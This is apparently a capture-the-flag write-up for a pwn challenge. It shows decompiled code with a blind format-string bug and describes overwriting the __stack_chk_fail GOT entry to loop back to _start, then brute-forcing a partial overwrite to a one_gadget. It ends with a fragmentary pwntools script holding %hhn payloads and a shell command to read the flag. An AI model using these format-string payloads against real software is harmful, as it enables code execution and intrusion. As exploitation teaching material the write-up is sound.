chall
004011d6 int32_t main ( int32_t argc , char ** argv , char ** envp )
004011e5 int64_t rax = *(fsbase + 0x28 )
00401203 setbuf (fp: stdout, buf: nullptr)
00401226 fwrite (buf: "What will we accomplish during t…" , size: 1 , count: 0x2c , fp: stdout)
00401241 fgets (buf: &var_218, n: 0x100 , fp: stdin)
0040125f sprintf (s: &s, format: &var_218, &var_218)
0040126e puts (str: "Great! Let's get to work." )
0040127c *(fsbase + 0x28 )
00401285 if (rax == *(fsbase + 0x28 ))
00401287 __stack_chk_fail ()
blind format string on stack
no PIE
ASLR is present
The simplest solution is just pick a fitting location and call a one_gadget :) the setvbuf call works and by rewriting __stack_chk_fail
to _start
we can do a partial (three byte) overwrite to set it to another location in libc with only 12 ASLR-randomized bits. about 20 minutes later there was a flag in stdout lol
solve#
exe = ELF ( "chall_patched" )
r = remote ( "wreckctf.com" , 34426 )
r = gdb . debug ([ exe . path ], gdbscript = "b *main+142 \n c" )
# got['__stack_chk_fail'] rewrite lsb from 0x40 to 0x1a for a ret gadget
payload_ret_main = flat ({
0x 0 : b " %240c %36$hhn" + b " %16c " , # rewrite stack chk fail to _start
0x 100 - 8 : p64 ( exe . got [ ' __stack_chk_fail ' ])[ 0 : 7 ],
payload_fix_setvbuf = flat ({
0x 100 - 24 : p64 ( exe . got [ ' setbuf ' ]),
0x 100 - 16 : p64 ( exe . got [ ' setbuf ' ] + 1 ),
0x 100 - 8 : p64 ( exe . got [ ' setbuf ' ] + 2 )[ 0 : 7 ],
r . send ( payload_fix_setvbuf )
r . sendline ( b "grep flag *;exit;" )
if __name__ == "__main__" :